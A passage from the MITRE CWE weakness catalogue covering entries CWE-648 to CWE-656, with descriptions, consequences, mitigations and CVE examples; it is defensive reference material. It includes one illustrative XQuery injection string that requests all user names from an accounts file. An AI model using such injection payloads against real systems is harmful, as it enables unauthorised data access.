Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2383
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2416
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2471
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS02-J		Canonicalize path names before validating them

CWE-648: Incorrect Use of Privileged APIs

Weakness ID : 648
Structure : Simple
Abstraction : Base

Description

The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

Extended Description

When a product contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	269	Improper Privilege Management	653

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2338

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker may be able to elevate privileges.*	
Confidentiality	Read Application Data *An attacker may be able to obtain sensitive information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *An attacker may be able to execute code.*	

Potential Mitigations

Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Phase: Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Phase: Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Phase: Implementation

Only call privileged APIs from safe, consistent and expected state.

Phase: Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

Observed Examples

Reference	Description
CVE-2003-0645	A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called. *https://www.cve.org/CVERecord?id=CVE-2003-0645*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428
MemberOf	C	1366	ICS Communications: Frail Security in Protocols	1358	2524
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
107	Cross Site Tracing
234	Hijacking a privileged process

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID : 649
Structure : Simple
Abstraction : Base

Description

The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.

Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	345	Insufficient Verification of Data Authenticity	858

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2455

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2498

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *The inputs could be modified without detection, causing the product to have unexpected system state or make incorrect security decisions.*	

Potential Mitigations

Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

Observed Examples

Reference	Description
CVE-2005-0039	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication

Reference	Description
	path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application. *https://www.cve.org/CVERecord?id=CVE-2005-0039*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2559

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID : 650
Structure : Simple
Abstraction : Variant

Description

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description

The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	436	Interpretation Conflict	1065

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could escalate privileges.*	
Integrity	Modify Application Data *An attacker could modify resources.*	
Confidentiality	Read Application Data *An attacker could obtain sensitive information.*	

Potential Mitigations

Phase: System Configuration

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	2415
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1398	Comprehensive Categorization: Component Interaction	1400	2545

CWE-651: Exposure of WSDL File Containing Sensitive Information

Weakness ID : 651
Structure : Simple
Abstraction : Variant

Description

The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description

An information exposure may occur if any of the following apply:

- The WSDL file is accessible to a wider audience than intended.
- The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
- Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1257

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The attacker may find sensitive information located in the WSDL file.*	

Potential Mitigations

Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Phase: Architecture and Design

Strategy = Separation of Privilege

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

Demonstrative Examples

Example 1:

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2424
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508

Nature	Type	ID	Name	V	Page
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID : 652
Structure : Simple
Abstraction : Base

Description

The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	91	XML Injection (aka Blind XPath Injection)	220
ChildOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	1860

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker might be able to read sensitive information from the XML database.*	

Potential Mitigations

Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Demonstrative Examples

Example 1:

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2410
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2511
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	46		XQuery Injection
Software Fault Patterns	SFP24		Tainted input to command

CWE-653: Improper Isolation or Compartmentalization

Weakness ID : 653
Structure : Simple
Abstraction : Class

Description

The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.

Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1529
ChildOf	C	657	Violation of Secure Design Principles	1454
ParentOf	B	1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1985
ParentOf	B	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)	2237

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2497

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Break up privileges between different modules, objects, or entities. Minimize the interfaces between modules and require strong access control between them.

Demonstrative Examples

Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

Observed Examples

Reference	Description
CVE-2021-33096	Improper isolation of shared resource in a network-on-chip leads to denial of service *https://www.cve.org/CVERecord?id=CVE-2021-33096*
CVE-2019-6260	Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. *https://www.cve.org/CVERecord?id=CVE-2019-6260*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2407
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Notes

Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each "privilege"; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-535]Sean Barnum and Michael Gegick. "Separation of Privilege". 2005 December 6. < https://web.archive.org/web/20220126060047/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege >.2023-04-07.

[REF-1138]Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. < https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/ >.

CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID : 654
Structure : Simple
Abstraction : Base

Description

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1529
ChildOf	C	657	Violation of Secure Design Principles	1454
ParentOf	B	308	Use of Single-factor Authentication	759
ParentOf	B	309	Use of Password System for Primary Authentication	761
PeerOf	B	1293	Missing Source Correlation of Multiple Independent Data	2161

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this entry is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.*	
Non-Repudiation	Hide Activities *It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.*	

Potential Mitigations

Phase: Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Phase: Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).

Demonstrative Examples

Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

Observed Examples

Reference	Description
CVE-2022-35248	Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication *https://www.cve.org/CVERecord?id=CVE-2022-35248*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Notes

Maintenance

This entry is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this entry). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 4-1		Req SD-3
ISA/IEC 62443	Part 4-1		Req SD-4
ISA/IEC 62443	Part 4-1		Req SI-1

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
274	HTTP Verb Tampering
560	Use of Known Domain Credentials
565	Password Spraying
600	Credential Stuffing
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-535]Sean Barnum and Michael Gegick. "Separation of Privilege". 2005 December 6. < https://web.archive.org/web/20220126060047/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege >.2023-04-07.

CWE-655: Insufficient Psychological Acceptability

Weakness ID : 655
Structure : Simple
Abstraction : Class

Description

The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1529
ChildOf	C	657	Violation of Secure Design Principles	1454

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.*	

Potential Mitigations

Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Demonstrative Examples

Example 1:

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	2439
MemberOf	C	1379	ICS Operations (& Maintenance): Human factors in ICS environments	1358	2535
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Notes

Other

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 2-1		Req 4.3.3.6
ISA/IEC 62443	Part 4-1		Req SD-4

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-539]Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005 September 5. < https://web.archive.org/web/20221104163022/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/psychological-acceptability >.2023-04-07.

[REF-540]J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998 December 5. < http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-656: Reliance on Security Through Obscurity

Weakness ID : 656
Structure : Simple
Abstraction : Class

Description

The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1529
ChildOf	C	657	Violation of Secure Design Principles	1454
PeerOf	B	603	Use of Client-Side Authentication	1363
CanPrecede	V	259	Use of Hard-coded Password	630
CanPrecede	V	321	Use of Hard-coded Cryptographic Key	792
CanPrecede	B	472	External Control of Assumed-Immutable Web Parameter	1131

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Never Assuming your secrets are safe :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Other *The security mechanism can be bypassed easily.*	

Potential Mitigations

Phase: Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Demonstrative Examples

Example 1:

